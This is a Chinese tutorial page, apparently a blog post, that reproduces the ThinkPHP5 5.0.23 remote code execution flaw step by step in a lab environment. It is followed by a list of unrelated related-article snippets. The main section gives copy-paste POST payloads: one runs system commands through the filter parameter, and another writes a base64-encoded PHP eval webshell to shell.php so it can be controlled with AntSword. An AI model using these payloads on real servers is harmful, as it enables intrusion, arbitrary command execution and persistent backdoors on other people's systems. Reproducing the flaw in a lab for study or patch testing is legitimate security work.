ThinkPHP5 5.0.23-rce远程代码执行漏洞复现
启动环境，先关闭其他环境
启动
判断是否存在漏洞：访问/index.php?s=captcha页面，会出现报错
使用HackBar 插件发送 POST 请求
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir
通过echo命令写入 Webshell 文件并把木马进行base64编码
post发送
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > shell.php
访问shell.php，使用蚁剑连接
相关文章：
ThinkPHP5 5.0.23-rce远程代码执行漏洞复现
启动环境，先关闭其他环境 启动 判断是否存在漏洞：访问/index.php?scaptcha页面，会出现报错 使用HackBar 插件发送 POST 请求 _method__construct&filter[]system&methodget&server[REQUEST_METHOD]dir 通过echo命令写入 Webshe…...
windows下安装并使用nvm
目录 一.准备工作：卸载node 卸载步骤 二.下载nvm 三.安装nvm 三.配置下载源【重要】 四.使用nvm安装node.js 五.nvm常用命令 六.卸载nvm 一.准备工作：卸载node 如果电脑上已经有node，那么我们需要先完全卸载node，再安装…...
mac m2 安装 nvm
踩坑-填坑 过程 红字都是 启动台-ohter-终端 里面直接输入就行了 /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" brew -v 重启终端 brew uninstall nvm brew install nvm 成功提示 > Summary 🍺 /o…...
通信工程学习：什么是AN接入网络
AN接入网络 AN接入网络，全称Access Network，是电信部门业务节点与用户终端设备之间的实施系统。它可以部分或全部代替传统的用户本地线路网，并可包括复用、交叉连接和传输功能。以下是关于AN接入网络的详细解释： 一、AN接入网络的…...
MSCKF7讲：特征管理与优化
MSCKF7讲：特征管理与优化 文章目录 MSCKF7讲：特征管理与优化1 Feature.h2 OptimizationConfig3 initializePosition三角化LM优化3.1 计算归一化坐标深度初值generateInitialGuess① 理论推导② 代码分析 3.2 计算归一化误差cost① 理论推导② 代码分析 3…...
C# XML 使用教程
C# XML 使用教程 目录 C# XML 使用教程XML 是什么介绍组成XML 与 HTML 的区别 C# 中如何使用 XML序列化根元素子元素序列化方法 反序列化反序列化方法 序列化与反序列化实例 XML 是什么 介绍 可扩展标记语言 (Extensible Markup Language, XML) ，标准通用标记语言的…...
淘宝开放平台交易类API解析以及如何测试？
调用淘宝开放平台的订单接口，主要可以通过以下几种途径进行： 1. 直接使用淘宝开放平台提供的API接口 步骤概述： 注册淘宝开放平台账号：首先，你需要在淘宝开放平台注册一个开发者账号。创建应用：在注册并…...
基于聚类与LSTM对比特币价格深度分析与预测
1.项目背景 比特币作为全球最具影响力的加密货币之一，其价格受到多种复杂因素的共同作用，包括市场情绪、政策变化、大型机构的投资行为等，这些因素在不同的市场阶段对比特币价格波动产生直接或间接的影响。通过对比特币市场的深入分析&#…...
YOLOv9改进策略【Neck】| 使用CARAFE轻量级通用上采样算子
一、本文介绍 本文记录的是利用CARAFE上采样对YOLOv9的颈部网络进行改进的方法研究。YOLOv9采用传统的最近邻插值的方法，仅考虑子像素邻域，无法捕获密集预测任务所需的丰富语义信息，从而影响模型在密集预测任务中的性能。CARAFE通过在大感受…...
SpringMVC上
SpringMVC介绍 MVC模型 MVC全称Model View Controller，是一种设计创建Web应用程序的模式。这三个单词分别代表Web应用程序的三个部分： Model（模型）：指数据模型。用于存储数据以及处理用户请求的业务逻辑。在Web应用…...
嵌入式软件--51单片机 DAY 2
一、数码管 1.数码管概况 2.设计 （1）硬件设计 我们可以通过阴极控制显示的位置，通过阳极控制显示的内容。两个数码管共有8个阴极引脚和16个阳极引脚，如果所有引脚都直接接入MCU，会造成MCU引脚的极大浪费。 为了节省…...
高精度加法，减法，乘法，除法
加法： 大整数该如何储存？ 用数组储存： 把个位放在数下标为0的位置，十位放在数组下标为1的位置（也就是高位放在数组的后面） 因为这样，如果需要增加一位最高位，那我们就可以直接在…...
学习计划（大三上）
第二周 总结Java并发编程的艺术 学习JVM（博客文章） 第三周 学习JVM（博客文章） 图解TCP/IP 4章 第四周 完成简历项目 学习JVM（博客文章） 图解TCP/IP 4章 第五周 完成简历项目 深入学习RocketMQ底层…...
【第0006页 · 数组】寻找重复数
【前言】本文以及之后的一些题解都会陆续整理到目录中，若想了解全部题解整理，请看这里： 第0006页 寻找重复数 今天想讨论的一道题在 LeetCode 上评论也是颇为“不错”。有一说一，是道好题，不过我们还是得先理解了它才…...
移情别恋c++ ദ്ദി˶ｰ̀֊ｰ́ ) ——10.继承
1.继承的概念及定义 1.1继承的概念 继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段，它允许程序员在保 持原有类特性的基础上进行扩展，增加功能，这样产生新的类，称派生类。继承呈现了面向对象 程序设计的层…...
uniapp+vue3实现双通道透明MP4播放支持小程序和h5
双通道透明MP4视频播放的截图 以下是合成后结果，二个合并在一起进行播放 下载资源，打开运行直接使用看到效果 https://download.csdn.net/download/qq_40039641/89715780...
汇编：嵌入式软件架构学习资源
成为嵌入式软件架构设计师需要掌握多方面的知识，包括嵌入式系统、实时操作系统、硬件接口、软件设计模式等。 以下是一些推荐的博客和网站，可以帮助你深入学习嵌入式软件架构设计： ### 1. **Embedded.com** - **网址**: [Embedded.com](htt…...
python编程知识（实现数据加密和解密）
👨💻个人主页：开发者-曼亿点 👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨💻 本文由 曼亿点 原创 👨💻 收录于专栏：…...
如何使div居中？CSS居中终极指南
前言 长期以来，如何在父元素中居中对齐一个元素，一直是一个让人头疼的问题，随着 CSS 的发展，越来越多的工具可以用来解决这个难题，五花八门的招式一大堆，这篇博客，旨在帮助你理解不同的居中方法…...
Redis 篇-深入了解分布式锁 Redisson 原理（可重入原理、可重试原理、主从一致性原理、解决超时锁失效）
🔥博客主页： 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 本章目录 1.0 基于 Redis 实现的分布式锁存在的问题 2.0 Redisson 功能概述 3.0 Redisson 具体使用 4.0 Redisson 可重入锁原理 5.0 Redisson 锁重试原理 6.0 Redisson WatchDo…...
神经模拟器超越训练数据：从误差纠正到高效科学计算
1. 项目概述：当神经模拟器“青出于蓝”在科学计算这个行当里，求解偏微分方程（PDE）是模拟从流体流动到热量传递、从电磁场到量子力学等几乎所有物理现象的基础。我们这些搞计算的人，常年跟有限差分、有限体积、有限元这…...
[Python] Python中自带模块级的单例模式-不需要定义单例类
Python中的单例场景 一般一些需要在模块中全局维护的变量（变量修改范围在模块内）；简单方式是构建一个全局变量，然后不符合编码规范：1.线程安全与并发问题；2.测试隔离困难；3.缺乏多实例/多租户支…...
AI规范编程：从SDD理念到Spec-Kit落地实践
文章目录一、SDD 诞生的背景：AI 时代软件工程的范式变革2.1、传统开发范式的痛点2.2、SDD 的核心定义与价值2.3、SDD 的发展历程二、SDD 工具对比分析：Spec-Kit、OpenSpec 与 Superpowers2.1 核心定位与设计理念对比2.2 技术架构与功能特性对比2.3 选型建…...
告别刻录光盘！用Rufus 4.5快速搞定Win10 U盘安装盘（保姆级图文指南）
用Rufus 4.5打造Win10 U盘安装盘的终极指南在数字时代，光驱已经逐渐退出历史舞台，但系统安装的需求依然存在。传统的光盘安装方式不仅速度慢，而且对硬件有要求。相比之下，U盘安装系统更加高效便捷。本文将详细介绍如何使用Rufus 4…...
Unity序列化三要素：Serializable、SerializeField与SerializeReference详解
1. 为什么Unity序列化总让人困惑——从一个真实报错说起 刚接手一个老项目时，我遇到个特别典型的场景：美术同事在Inspector里调好了角色的装备配置，保存后切到另一台机器打开，所有装备栏全空了。Debug发现， List<E…...
交通顶刊TR Part C 2026年6月论文导读（下）
一期刊简介Transportation Research Part C (TR-C): Emerging Technologies 是交通领域顶刊，由 Elsevier 出版，中科院与 JCR 均为 1 区，近年影响因子约8–9.6。该期刊以交通系统为核心，聚焦 AI、大数据、运筹学等新兴技术对交通规…...
2026年AI写作辅助软件实测排行，哪款真正适合写论文？
2026 年学术 AI 论文工具已形成全流程、理工 / 社科、英文 / 中文、免费 / 付费的清晰分化。综合实测排行与场景适配，千笔AI 是中文全能首选，DeepSeek 学术版是理工开源首选，毕业之家是国内毕业专属首选。 一、2026 年实测排行 TOP5ÿ…...
【AI翻译避坑指南】：92%用户忽略的5个ChatGPT翻译陷阱（含术语一致性崩塌、文化错译、被动语态误判），附可直接复用的Prompt模板
更多请点击： https://intelliparadigm.com 第一章：ChatGPT翻译质量怎么样 ChatGPT 在多语种翻译任务中展现出较强的上下文理解与语义连贯能力，尤其在非技术类通用文本（如日常对话、新闻摘要、文学性段落）中常能生成自…...
Solid.js信号驱动架构深度解析：告别虚拟DOM的真正实践
Solid.js信号驱动架构深度解析：告别虚拟DOM的真正实践 作者：Crown_22 | AI Agent & Hermes Agent 桌面程序开发者 前言 2026年的前端框架格局已经发生了深刻变化。React 用 Server Components 重新定义了组件模型，Vue 3.5 用 Vapor 模式抛弃了虚拟 DOM，Svelte 5 用 Ru…...
Claude在国内用不了？我挨个试了一遍
你有没有这种感觉—— 每次看到Claude又出新版本，心里痒痒的。别人都在讨论Sonnet多好用、Opus推理多强，你打开官网，要么打不开，要么要翻墙，要么要国外手机号验证。 好不容易折腾注册上了，用了两周，某天突然收到封号邮件。 烦不烦？ 说实话，作为一个重度AI用户，我…...